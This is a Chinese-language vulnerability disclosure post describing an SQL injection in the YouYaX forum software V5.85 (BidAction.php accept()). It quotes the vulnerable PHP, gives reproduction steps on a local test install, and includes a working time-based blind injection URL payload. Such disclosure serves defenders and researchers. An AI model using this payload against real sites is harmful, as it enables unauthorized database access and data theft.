Youyax最新版(V5.85)注入一枚

  • A+
所属分类:漏洞时代
摘要

大半夜来提交洞了,快凌晨2点了,蛋碎。
看文件/Lib/BidAction.php 13-35行[php]public function accept()


漏洞作者: SLAckEr

大半夜来提交洞了,快凌晨2点了,蛋碎。
看文件/Lib/BidAction.php 13-35行

[php]

public function accept()

{

$id = getparam("id");

$id2 = getparam("id2");

$reply = $this->find(C('db_prefix') . "reply", "string", "id2='" . $id2 . "' and rid='" . $id . "'");

if ($reply) {

$talk = $this->find(C('db_prefix') . "talk", "string", "id='" . $id . "'");

if ($talk) {

if (($talk['zuozhe'] == $_SESSION['youyax_user']) && ($talk['is_question'] == 1)) {

mysql_query("update " . C('db_prefix') . "reply set content1=CONCAT('<div style=/'border: 1px solid #ff999a;background: #fbeded;padding: 10px;/'><h3 style=/'background-image: url(" . C('SITE') . "/Public/images/medals.gif);background-repeat: no-repeat;padding-left: 50px;border: 0;height: 60px;line-height: 60px;/'>采纳的答案</h3>',content1,'</div>') where id2=" . $id2);

mysql_query("update " . C('db_prefix') . "talk set lock_status=1 where id=$id");

mysql_query("update " . C('db_prefix') . "user set bid=bid+" . $talk['question_bid'] . " where user='" . $reply['zuozhe1'] . "'");

$this->redirect("Content" . C('default_url') . "index" . C('default_url') . "id" . C('default_url') . $id . C('static_url'));

} else {

$this->error();

}

} else {

$this->error();

}

} else {

$this->error();

}

}

[/php]

注意这里

[php]

mysql_query("update " . C('db_prefix') . "reply set content1=CONCAT('<div style=/'border: 1px solid #ff999a;background: #fbeded;padding: 10px;/'><h3 style=/'background-image: url(" . C('SITE') . "/Public/images/medals.gif);background-repeat: no-repeat;padding-left: 50px;border: 0;height: 60px;line-height: 60px;/'>采纳的答案</h3>',content1,'</div>') where id2=" . $id2);

[/php]

[php]

mysql_query("update " . C('db_prefix') . "talk set lock_status=1 where id=$id");

[/php]

能看出来id和id2这2个参数是没经过过滤就直接带入了update.

那么下面分析如何才能实现这个利用

看这句

 

[php]

if (($talk['zuozhe'] == $_SESSION['youyax_user']) && ($talk['is_question'] == 1))

[/php]

如果从上面过来的talk表里面的作者跟当前session的作者是同一人,并且发的帖子需要是一个提问帖,is_question就是来判断是否为提问帖。

漏洞证明:

看利用,

首先注册一个号。发布一个提问帖

Youyax最新版(V5.85)注入一枚

 

然后记下当前帖子的id,现在是4

Youyax最新版(V5.85)注入一枚

 

自己随便回复一个,记下回复的id,,这个如何找到呢?把鼠标移到编辑那里就能晓得了

Youyax最新版(V5.85)注入一枚

 

当前是5.

看了下数据库的结构,在源码中id传给了rid也就是帖子的id,所以id=4

id2回复的id也就是5

访问http://127.0.0.1/YouYaX/index.php/bid/accept/id/4/id2/5.html

当前这两个参数都是可以注入的。

Youyax最新版(V5.85)注入一枚

[php]

2014/10/18 2:02 update youyax_reply set content1=CONCAT('<div style=/'border: 1px solid #ff999a;background: #fbeded;padding: 10px;/'><h3 style=/'background-image: url(http://127.0.0.1/YouYaX/Public/images/medals.gif);background-repeat: no-repeat;padding-left: 50px;border: 0;height: 60px;line-height: 60px;/'>采纳的答案</h3>',content1,'</div>') where id2=5

[/php]

没有回显,就盲注,

http://127.0.0.1/YouYaX/index.php/bid/accept/id/4/id2/5 AND 1111=IF((select length(database())=2),SLEEP(5),1111).html

 

Youyax最新版(V5.85)注入一枚

 

如果猜解正确的话 浏览器转5秒返回页面,如果长度猜解错误,则直接返回页面。

如果猜解正确的话,页面会返回正确,如果猜解错误,则采纳的答案就会多一条,看图

Youyax最新版(V5.85)注入一枚

 

Youyax最新版(V5.85)注入一枚

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: